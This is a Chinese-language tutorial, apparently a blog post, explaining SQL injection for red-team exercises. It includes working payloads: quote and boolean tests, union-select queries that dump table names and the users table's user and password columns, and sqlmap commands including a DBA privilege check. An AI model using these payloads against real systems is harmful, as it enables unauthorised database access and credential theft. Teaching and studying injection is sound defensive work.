HW常见攻击方式 -- SQL注入漏洞

一、产生原因

代码与数据不区分。程序把用户输入的恶意内容传入SQL语句中执行,导致SQL注入漏洞产生。

二、常见挖掘方式

直接对url中的参数(请求参数、请求头)进行注入

Burp抓取post包进行注入

三、判断注入点

单引号判断:如果出现错误回显,则该页面就可能存在sql注入

http://www.webanquangongjuku.com/aiyou.php?id=1‘

and判断:

http://www.webanquangongjuku.com/aiyou.php?id=1‘ and 1=1 返回正常http://www.webanquangongjuku.com/aiyou.php?id=1‘ and1=2 如果报错,说明存在注入

or判断:

http://www.webanquangongjuku.com/aiyou.php?id=1‘ or 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1‘ or 1=2 返回正常,说明存在注入

XOR判断:后面的语句如果是正确的,则返回错误页面,如果是错误的,则返回正确页面,说明存在注入点

http://www.webanquangongjuku.com/aiyou.php?id=1‘ xor 1=1 http://www.webanquangongjuku.com/aiyou.php?id=1‘ xor 1=2

加减号数字判断:返回的页面和前面的页面相同,加上-1,返回错误页面,则表示存在注入漏洞

http://www.webanquangongjuku.com/aiyou.php?id=10-1

四、GET请求注入流程:

1、判断是否存在注入

1‘
1‘ and 1=1

2、判断可显示列

1‘ order by 2#
1‘ order by 3# 
1‘ union select 1,2#

3、查询版本号和数据库

1‘ union select version(),database()#

4、获取当前数据库的所有表名

1‘ union select 1,table_name from information_schema.tables where table_schema=database()#

5、获取users表的列名

1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users‘#

6、获取users表的user和password列

1‘ union select user,password from users#

HW常见攻击方式 -- SQL注入漏洞
五、POST请求注入流程

1、通过BurpSuite抓包

HW常见攻击方式 -- SQL注入漏洞

2、可以手动判断,但是能用sqlmap就不用手动,所以将该包保存到1.txt文件

sqlmap -r 1.txt

HW常见攻击方式 -- SQL注入漏洞
3、查看是不是管理员权限

sqlmap -r 1.txt --is-dba

HW常见攻击方式 -- SQL注入漏洞

HW常见攻击方式 -- SQL注入漏洞

上一篇:Mybatis框架防SQL注入写法


下一篇:django.core.exceptions.ImproperlyConfigured: SQLite 3.9.0 or later is required (found 3.7.17).